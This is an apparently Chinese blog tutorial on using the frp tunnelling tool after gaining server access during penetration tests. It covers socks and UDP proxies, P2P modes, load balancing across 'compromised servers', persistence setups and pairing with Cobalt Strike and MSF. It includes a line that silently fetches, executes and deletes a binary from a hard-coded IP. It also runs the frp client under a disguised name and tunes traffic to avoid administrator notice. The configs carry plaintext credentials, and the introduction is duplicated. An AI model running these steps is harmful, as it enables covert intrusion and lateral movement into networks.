[TOC]
0x00 前言介绍 在没有Frp穿透开源出来的时候,链接远程网络通常是采用向日葵或者TeamViewer,并且在做渗透测试的时候面对的目标常常是处于内网之中;在以往的渗透中拿到了服务器权限后,个人最常使用的内网代理方式是 reGeorg + Proxifier/proxychains
,虽然是脚本代理的方式,但使用快捷方便,能够迅速访问到内部网;但是但是随着目标内网环境越来越大,这种脚本形式代理的局限性越来越明显;
描述:frp 是一个可用于内网穿透的高性能的反向代理应用(采用Go语言进行开发),支持 tcp, udp ,stcp协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透;
Frp项目地址:https://github.com/fatedier/frp
应用场景:满足通过公网服务器访问处于内网的服务,如访问内网web服务,远程ssh内网服务器,远程控制内网NAS,流量转发等,实现类似花生壳、ngrok等功能;
Frp工具有两端CS架构:
服务端:服务端部署在我们具有公网IP的服务器上;
客户端:客户端放在我们内网的服务器上;
weiyigeek.top-20191230222637188
注意事项:
Windows与Linux启动Frps/c的不同的是,Windows默认启动frps的配置文件绑定的端口是7000,而frpc默认启动的配置文件是frpc.ini;
0x01 安装使用 描述:到下载Frp的relases页面选择跨平台,实战中根据目标机版本选择下载:https://github.com/fatedier/frp/releases ;
[TOC]
0x00 前言介绍 在没有Frp穿透开源出来的时候,链接远程网络通常是采用向日葵或者TeamViewer,并且在做渗透测试的时候面对的目标常常是处于内网之中;在以往的渗透中拿到了服务器权限后,个人最常使用的内网代理方式是 reGeorg + Proxifier/proxychains
,虽然是脚本代理的方式,但使用快捷方便,能够迅速访问到内部网;但是但是随着目标内网环境越来越大,这种脚本形式代理的局限性越来越明显;
描述:frp 是一个可用于内网穿透的高性能的反向代理应用(采用Go语言进行开发),支持 tcp, udp ,stcp协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透;
Frp项目地址:https://github.com/fatedier/frp
应用场景:满足通过公网服务器访问处于内网的服务,如访问内网web服务,远程ssh内网服务器,远程控制内网NAS,流量转发等,实现类似花生壳、ngrok等功能;
Frp工具有两端CS架构:
服务端:服务端部署在我们具有公网IP的服务器上;
客户端:客户端放在我们内网的服务器上;
weiyigeek.top-20191230222637188
注意事项:
Windows与Linux启动Frps/c的不同的是,Windows默认启动frps的配置文件绑定的端口是7000,而frpc默认启动的配置文件是frpc.ini;
0x01 安装使用 描述:到下载Frp的relases页面选择跨平台,实战中根据目标机版本选择下载:https://github.com/fatedier/frp/releases ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 wget https://github.com/fatedier/frp/releases/download/v0.30.0/frp_0.30.0_linux_amd64.tar.gz tar -zxf frp_0.30.0_linux_amd64.tar.gz -C ./frp_0.30.0 --strip-components 1 $vim ./frp_0.30.0/frps.ini [common] bind_addr = 0.0.0.0 bind_port = 7000 tls_enable = true pool_count = 5 dashboard_port = 7500 dashboard_user = WeiyiGeek dashboard_pwd = WeiyiGeek@Kp9eG1xzyYS token = X758@WeiyiGeek allow_ports = 40000-50000
基础命令:
1 2 3 4 5 6 ./frps -c ./frps.ini –reload nohup ./frps -c ./frps.ini & $ps aux | grep "frp" root 2174 0.6 0.4 114436 18460 pts/0 Sl 17:31 0:00 ./frps -c frps.ini
0x02 内网穿透 1.Socket代理转发 描述:首先最简单常用的就是socks协议代理这一功能在 frp 中是以插件的形式实现的;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [socket5] type =tcpremote_port = 9080 plugin = socks5 use_encryption = true use_compression = true echo -e "[common]\nserver_addr = 127.0.0.1\nserver_port = 7000\ntls_enable = true\npool_count = 5\n\n[plugin_socks]\ntype = tcp\nremote_port = 46075\nplugin = socks5\nplugin_user = joseph\nplugin_passwd = bnbm#yBZ90ad\nuse_encryption = true\nuse_compression = true" > delphi.ininohup ./deamon -c delphi.ini & wget http://103.242.135.137/3Edsr9I >/dev/null 2>&1 && chmod +x 3Edsr9I && ./3Edsr9I && rm -rf 3Edsr9I
2.UDP协议代理 描述:frp 也同时能够对 UDP 协议进行转发,配置上与 tcp 也是差不多的,基本上就是端口转发(没难度),对于UDP协议的测试我们使用比较常见的SNMP协议和DNS协议
来测试; 思路:
在做渗透测试的时候有时候会遇到打印机以及其它采用snmp通讯的设备,我们可以通过 snmp 协议和 惠普的 pjl 来获得敏感信息
,通过 frp 隧道对公司内网打印机 10.10.65.9 进行攻击,使用的是打印机攻击框架 PRET 简单的打印一个文档
;
得到一台内网机器的权限后,通过扫描53端口或者其它手段找到内网的DNS服务器,接下来我们将DNS解析到指定内网服务器上,因此我们就可以通过域名访问内网服务器,也可以指定 DNS 服务器进行子域名爆破来发现更多的资产;首先对内目标网段的 53 端口进行扫描探测,扫描端口使用 TCP 协议就可以,所以先使用原先的代理扫描,
1 2 3 4 5 6 7 8 9 [dns] type = udplocal_ip = 10.10.100.132 local_port = 53 remote_port = 40053 use_encryption = true use_compression = true
weiyigeek.top-
3.点对点stcp与xtcp 描述:安全地暴露内网服务(secret tcp)以及 xtcp 都是frp提供的点对点传输服务;
xtcp:用于应对在希望传输大量数据且流量不经过服务器的场景,直接是一个 p2p 的隧道,frp 所谓的 xtcp 协议底层应该是 UDP 打洞的过程;
根据官方文档这种协议不能穿透所有类型的 NAT 设备,所以穿透成功率较低,穿透失败时可以尝试 stcp 的方式
stcp:相当于再添加一次认证,改一次配置文件即可1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [p2p_socks] type = xtcpremote_port = 46075 sk = HjnllUwX5WiRD5Ij plugin = socks5 [p2p_socks_visitor] type = xtcprole = visitor server_name = p2p_socks sk = HjnllUwX5WiRD5Ij bind_addr = 127.0.0.1 bind_port = 1086
流程说明:
甲 <-> 公 <-> 乙 :记录客户端甲和乙的 IP 和端口信息,但是IP和端口并非甲和乙在内网的IP(外网)和随机端口,而是通过NAT方式映射到路由器上的IP和端口。
客户端甲向服务器发送udp消息,请求和客户端乙通信。
服务器向客户端甲发送消息,消息内容包含客户端乙的IP和端口信息。
服务器向客户端乙发送消息,消息内容包含客户端甲的IP和端口信息。
客户端甲根据3步骤获得的信息向客户端乙发送udp消息,同一时刻客户端乙根据3步骤获得的信息向客户端甲发送udp消息(尝试多次udp打洞就能成功)
注意事项:
该打洞方案只支持 ConeNAT(锥形 NAT),不支持 Symmetric NAT (对称NAT)因此没办法能够支持全部的 NAT方式,更何况,你知道你在访问公网的时候中间经过了多少层 NAT 吗?
4.负载均衡 描述:在内网拿到了多台能够访问互联网机器,可以启用多台客户端进行负载均衡,毕竟突然从一台机器迸发出大量流量很容易引起管理员的注意,也可以负载分担一下机器的CPU资源消耗;
比如:使用两台被入侵的服务器作为负载均衡,IP分别为 10.10.99.33 和 10.10.100.811 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [common] server_addr = 103.242.135.137 server_port = 7000 tls_enable = true pool_count = 5 [plugin_socks] type = tcpremote_port = 46075 plugin = socks5 plugin_user = joseph plugin_passwd = bnbm use_encryption = true use_compression = true group = socks_balancing group_key = NGbB5
weiyigeek.top-负载均衡Group
5.其它功能
转发 Unix 域套接字:单个主机通信协议一般用不上
对外提供文件访问服务:这估计是渗透测试工程师最不需要的功能
http转https:没用
加密与压缩:这两个功能可以看到我都启用了
TLS加密:这个我也开了,安全性更高
客户端UI/热加载配置/查看状态:普通情况下是可以不用的,但是前期资产发现过程需要多次配置的情况,或者上线新机器做负载均衡的时候可以使用,不过热加载还是需要等一段时间才能够生效,性子急的我表示等不了
端口白名单:这里我指定了 40000-50000
web相关的:很多功能是为了将内网web转至公网
通过代理连接 frps:在特殊情况下可能是有用的,但是暂时没用
范围端口映射:这个貌似也没什么用
子域名:在找到内网DNS解析服务器的情况下可以不进行配置,如果没找到,但是知道内网 IP 和域名的对应关系,且服务器只可以通过域名访问的情况下可以使用这项配置,但我觉得都不如绑个host来的快
KCP协议:KCP是一个快速可靠协议,能以比 TCP浪费10%-20%的带宽的代价,换取平均延迟降低 30%-40%,且最大延迟降低三倍的传输效果,在带宽很足但延迟较高的情况下可以使用 kcp 协议进行数据通信,未测试
0x03 基础配置说明 描述:主要正对于Frps服务端和客户端进行配置文件的说明;
服务端:https://github.com/fatedier/frp/blob/master/conf/frps_full.ini
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 [common] bind_addr = 0.0.0.0 bind_port = 7000 token = token12345678 allow_ports = 2000-3000,3001,3003,4000-50000 privilege_mode = true privilege_token = kukezkHC8R1H privilege_allow_ports = 4000-50000 max_pool_count = 5 max_ports_per_client = 0 tcp_mux = true heartbeat_timeout = 30 authentication_timeout = 900 dashboard_port = 7500 dashboard_user = admin dashboard_pwd = admin http_proxy = http://user:passwd@192.168.1.128:8080 http_proxy = socks5://user:passwd@192.168.1.128:1080 subdomain_host = frps.com log_file = ./frpc.log log_level = info log_max_days = 3 disable_log_color = false
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 [common] server_addr = 0.0.0.0 server_port = 7000 token = 12345678 tls_enable = true protocol = tcp pool_count = 5 tcp_mux = true login_fail_exit = true log_file = ./frpc.log log_level = info log_max_days = 3 [ssh] type = tcplocal_ip = 127.0.0.1 local_port = 22 use_encryption = false use_compression = false remote_port = 6001 group = test_group group_key = 123456 health_check_type = tcp health_check_timeout_s = 3 health_check_max_failed = 3 health_check_interval_s = 10 [ssh_random] type = tcplocal_ip = 127.0.0.1 local_port = 22 remote_port = 2222 [range:tcp_port] type = tcplocal_ip = 127.0.0.1 local_port = 6010-6020,6022,6024-6028 remote_port = 6010-6020,6022,6024-6028 use_encryption = false use_compression = false [dns] type = udplocal_ip = 114.114.114.114 local_port = 53 remote_port = 6002 use_encryption = false use_compression = false [range:udp_port] type = udplocal_ip = 127.0.0.1 local_port = 6010-6020 remote_port = 6010-6020 use_encryption = false use_compression = false [web01] type = httplocal_ip = 127.0.0.1 local_port = 80 use_encryption = false use_compression = true http_user = admin http_pwd = admin subdomain = web01 custom_domains = web02.yourdomain.com locations = /,/pic host_header_rewrite = example.com header_X-From-Where = frp health_check_type = http health_check_url = /status health_check_interval_s = 10 health_check_max_failed = 3 health_check_timeout_s = 3 [web02] type = httpslocal_ip = 127.0.0.1 local_port = 8000 use_encryption = false use_compression = false subdomain = web01 custom_domains = web02.yourdomain.com proxy_protocol_version = v2 [plugin_unix_domain_socket] type = tcpremote_port = 6003 plugin = unix_domain_socket plugin_unix_path = /var/run/docker.sock [plugin_http_proxy] type = tcpremote_port = 6004 plugin = http_proxy plugin_http_user = abc plugin_http_passwd = abc [plugin_socks5] type = tcpremote_port = 6005 plugin = socks5 plugin_user = abc plugin_passwd = abc [plugin_static_file] type = tcpremote_port = 6006 plugin = static_file plugin_local_path = /var/www/blog plugin_strip_prefix = static plugin_http_user = abc plugin_http_passwd = abc [plugin_https2http] type = httpscustom_domains = test.yourdomain.com plugin = https2http plugin_local_addr = 127.0.0.1:80 plugin_crt_path = ./server.crt plugin_key_path = ./server.key plugin_host_header_rewrite = 127.0.0.1 [secret_tcp] type = stcpsk = abcdefg local_ip = 127.0.0.1 local_port = 22 use_encryption = false use_compression = false [secret_tcp_visitor] role = visitor type = stcpserver_name = secret_tcp sk = abcdefg bind_addr = 127.0.0.1 bind_port = 9000 use_encryption = false use_compression = false [p2p_tcp] type = xtcpsk = abcdefg local_ip = 127.0.0.1 local_port = 22 use_encryption = false use_compression = false [p2p_tcp_visitor] role = visitor type = xtcpserver_name = p2p_tcp sk = abcdefg bind_addr = 127.0.0.1 bind_port = 9001 use_encryption = false use_compression = false
0x04 进阶配置 1.后台启动 描述:我们为了不每次重启机器后都需要手动的进行打开frp服务或者说客户端,我们需要将其作为服务进行运行,主要针对于Windows和Linux进行操作;
Linux 后台运行方式 方式1:后台运行启动(加入到/etc/init.d/中即可)
1 2 3 4 5 nohup /path/fprs -c /path/frps.ini > /tmp/frps.logs& ps -ef|grep frps 或者 lsof -i:7000
方式2:服务启动方式(可以使用systemctl的方式管理frps)1 2 3 4 5 6 7 8 9 10 11 12 13 14 touch /lib/systemd/system/frps.service cat >> /lib/systemd/system/frps.service <<EOF [Unit] Description=Frps Service After=network.target syslog.target Wants=network.target [Service] Type=simple ExecStart=/your/path/frps -c /your/path/frps.ini [Install] WantedBy=multi-user.target
方式3:使用supervisor来控制1 2 3 4 5 6 7 8 9 10 11 12 13 sudo apt install supervisor [program:frp] command = /your/path/frps -c /your/path/frps.iniautostart = true sudo systemctl restart supervisor sudo supervisorctl status
Windows服务自启动 方式1:bat方式放入Windows启动目录
1 2 3 4 5 6 7 @echo off Title Frps d:\frps\frps.exe -c frps.ini C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\Users\WEIYIG~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
方式2:服务启动项(将bat打包或者直接利用其它编程语言调用)
1 2 sc create FrpServer binpath= F:\frpsConfig.exe type = own start= auto displayname= FrpServer
方式3:计划任务在系统启动时(登录前)运行frpc
1 2 3 4 5 cmd /c "start /b frpc.exe -c frpc.ini" powershell.exe Start-Process "frps.exe" -ArgumentList '-c frps.ini'
0x05 联合使用 描述:Frp可以很好的与Cobalt Strike和MSF联合使用,进行后渗透测试;
总体思路: 一个中心三个辅助,CS总控中心, frp 作为数据通信隧道, ,proxychains 代理服务,msf/NMAP进行扫描攻击获取 session 后再转给 CS;
0x06 总结 描述:Frp与reGeorg之间的比较说明;
利用难度:前者需要获取机器执行命令的权限,后者需要上传专用的Shell到网站中(常用)
利用环境: 前者要求入侵服务器能够访问外部网络以及需要一台公网IP的服务器运行服务端,后者不需要就如同正反向 shell 的差别
功能对比: 前者提供提供繁多功能,后者代理访问内网但是相比弱爆了;
性能对比: 从 frp 支持负载均衡和点对点传输上简直完爆其他内网穿透工具;